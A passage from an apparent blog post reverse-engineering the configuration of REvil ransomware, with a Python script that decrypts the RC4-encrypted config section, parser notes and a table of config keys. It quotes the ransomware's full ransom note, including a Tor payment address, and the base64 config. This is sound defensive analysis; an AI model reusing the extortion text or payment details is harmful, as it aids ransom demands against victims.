&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;secondstage&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;file1.bin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;except&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;NameError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pefile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;secondstage&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;section_name&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;.7tdlvx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# located in the .7tdlvx section&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sections&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;crc&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;config_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;from_bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config_len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;data_3_hex&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key_len&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_3_hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARC4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_3_hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# Store JSON to file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;config_decoded.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;json&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;loads&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pprint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;As shown in the configuration example, the configuration is in a JSON-like format that needs to be parsed further to be used by the malware. In the first part of the parsing process, an array is built out, defining the elements and how to process them. The three elements in the example below are and string for the JSON key, an integer for the data type, and a function pointer to the function to parse the data.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;// String with configuration Name
configuration_structure[0] = (int)&amp;amp;str_pk;
// Data Type
configuration_structure[1] = 5;
// Funcation to handle the data and write it to a Global Variable
configuration_structure[2] = (int)mw_cfg_pk_decoder;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The parser array along and decrypted configuration are passed into a function the walks through the JSON configuration. The function searches for the keys in the JSON configuration, and the parser function is called to process the configuration content.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-24-reversing-revil-malware-part-2-the-configuration-images/Screen-Shot-2021-02-13-at-17.46.21.png&#34; alt=&#34;&#34; /&gt;Some examples of configuration values that take further processing are ‘pk’, ‘img’, and ‘nbody’. These are all base64 encoded strings that are decoded before being stored in memory. Using the following python code we can see the values stored in these keys.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;binascii&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;pk: &amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;str&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;binascii&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hexlify&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;base64&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b64decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;pk&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;img: &amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;str&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;base64&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b64decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;img&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;utf-16&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;nbody: &amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;str&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;base64&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b64decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cfg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;nbody&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;utf-16&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pk: b&amp;#39;4abc40389f119032086fb8eeac6bb790919cba2f504738262f245eddd5313522&amp;#39;
img: All of your files are encrypted!

Find {EXT}-README.txt and follow instuctions
nbody: ---=== Welcome. Again. ===---

[+] What&amp;#39;s Happened? [+]

Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data.

[+] What are our guarantees? [+]

It&amp;#39;s just a business and we care only about getting benefits. If we don&amp;#39;t meet our obligations, nobody will deal with us. It doesn&amp;#39;t hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee.
It doesn&amp;#39;t metter for us whether you cooperate with us or not. But if you don&amp;#39;t, you&amp;#39;ll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money.

[+] How to get access to our website? [+]

Use TOR browser:
  1. Download and install TOR browser from this site: https://torproject.org/
  2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion

When you visit our website, put the following data into the input form:
Key:


{KEY}


!!! DANGER !!!
DON&amp;#39;T try to change files by yourself, DON&amp;#39;T use any third party software or antivirus solutions to  restore your data - it may entail the private key damage and as a result all your data loss!
!!! !!! !!!
ONE MORE TIME: It&amp;#39;s in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere.
!!! !!! !!
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We covered a couple of the obfuscation functions in this stage of the malware, the use of RC4 in many places to hide plain text data making various functions harder to detect and reverse engineer. The configuration section allows for a lot of flexibility. I can imagine allowing for a fair amount of automation in the build system, simplifying the building and deploy time. The next post will cover the file encryption function section of the code.&lt;/p&gt;
&lt;h2 id=&#34;configuration-keys&#34;&gt;Configuration Keys&lt;/h2&gt;
&lt;p&gt;The key below is a select list of some of the configuration options that affect the flow or functionality of the sample. There are many more keys shown in the full configuration.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Config Key&lt;/th&gt;
&lt;th&gt;Usage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;dbg&lt;/td&gt;
&lt;td&gt;Debug mode?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;et&lt;/td&gt;
&lt;td&gt;Fast or Full Encryption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dmn&lt;/td&gt;
&lt;td&gt;Domain to Beacon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;net&lt;/td&gt;
&lt;td&gt;Do HTTP beaconing?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;arn&lt;/td&gt;
&lt;td&gt;Add Run Key?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nbody&lt;/td&gt;
&lt;td&gt;Ransom note text&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;nname&lt;/td&gt;
&lt;td&gt;Ransom note filename&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;img&lt;/td&gt;
&lt;td&gt;Desktop Background Text&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;full-configuration&#34;&gt;Full configuration&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{&amp;#39;arn&amp;#39;: False,
 &amp;#39;dbg&amp;#39;: False,
 &amp;#39;dmn&amp;#39;: &amp;#39;&amp;#39;,
 &amp;#39;et&amp;#39;: 0,
 &amp;#39;exp&amp;#39;: False,
 &amp;#39;img&amp;#39;: &amp;#39;QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAFIARQBBAEQATQBFAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA&amp;#39;,
 &amp;#39;nbody&amp;#39;: &amp;#39;LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwArAF0AIABXAGgAYQB0ACcAcwAgAEgAYQBwAHAAZQBuAGUAZAA/ACAAWwArAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAaABhAHYAZQAgAGIAZQBlAG4AIABlAG4AYwByAHkAcAB0AGUAZAAgAGEAbgBkACAAYwB1AHIAcgBlAG4AdABsAHkAIAB1AG4AYQB2AGEAaQBsAGEAYgBsAGUALgAgAFkAbwB1ACAAYwBhAG4AIABjAGgAZQBjAGsAIABpAHQALgAgAEEAbABsACAAZgBpAGwAZQBzACAAaQBuACAAeQBvAHUAcgAgAHMAeQBzAHQAZQBtACAAaABhAHYAZQAgAHsARQBYAFQAfQAgAGUAeAB0AGUAbgBzAGkAbwBuAC4AIABCAHkAIAB0AGgAZQAgAHcAYQB5ACwAIABlAHYAZQByAHkAdABoAGkAbgBnACAAaQBzACAAcABvAHMAcwBpAGIAbABlACAAdABvACAAcgBlAGMAbwB2AGUAcgAgACgAcgBlAHMAdABvAHIAZQApACAAYgB1AHQAIAB5AG8AdQAgAHMAaABvAHUAbABkACAAZgBvAGwAbABvAHcAIABvAHUAcgAgAGkAbgBzAHQAcgB1AGMAdABpAG8AbgBzAC4AIABPAHQAaABlAHIAdwBpAHMAZQAgAHkAbwB1ACAAYwBhAG4AIABOAEUAVgBFAFIAIAByAGUAdAB1AHIAbgAgAHkAbwB1AHIAIABkAGEAdABhAC4ADQAKAA0ACgBbACsAXQAgAFcAaABhAHQAIABhAHIAZQAgAG8AdQByACAAZwB1AGEAcgBhAG4AdABlAGUAcwA/ACAAWwArAF0ADQAKAA0ACgBJAHQAJwBzACAAagB1AHMAdAAgAGEAIABiAHUAcwBpAG4AZQBzAHMAIABhAG4AZAAgAHcAZQAgAGMAYQByAGUAIABvAG4AbAB5ACAAYQBiAG8AdQB0ACAAZwBlAHQAdABpAG4AZwAgAGIAZQBuAGUAZgBpAHQAcwAuACAASQBmACAAdwBlACAAZABvAG4AJwB0ACAAbQBlAGUAdAAgAG8AdQByACAAbwBiAGwAaQBnAGEAdABpAG8AbgBzACwAIABuAG8AYgBvAGQAeQAgAHcAaQBsAGwAIABkAGUAYQBsACAAdwBpAHQAaAAgAHUAcwAuACAASQB0ACAAZABvAGUAcwBuACcAdAAgAGgAbwBsAGQAIABvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdAAuACAAUwBvACAAeQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAHQAaABlACAAYQBiAGkAbABpAHQAeQAgAHQAbwAgAHIAZQBzAHQAbwByAGUAIAB5AG8AdQByACAAZgBpAGwAZQBzAC4AIABGAG8AcgAgAHQAaABpAHMAIABwAHUAcgBwAG8AcwBlACAAeQBvAHUAIABzAGgAbwB1AGwAZAAgAHYAaQBzAGkAdAAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAgAHcAaABlAHIAZQAgAHkAbwB1ACAAYwBhAG4AIABkAGUAYwByAHkAcAB0ACAAbwBuAGUAIABmAGkAbABlACAAZgBvAHIAIABmAHIAZQBlAC4AIABUAGgAYQB0ACAAaQBzACAAbwB1AHIAIABnAHUAYQByAGEAbgB0AGUAZQAuAA0ACgBJAHQAIABkAG8AZQBzAG4AJwB0ACAAbQBlAHQAdABlAHIAIABmAG8AcgAgAHUAcwAgAHcAaABlAHQAaABlAHIAIAB5AG8AdQAgAGMAbwBvAHAAZQByAGEAdABlACAAdwBpAHQAaAAgAHUAcwAgAG8Acg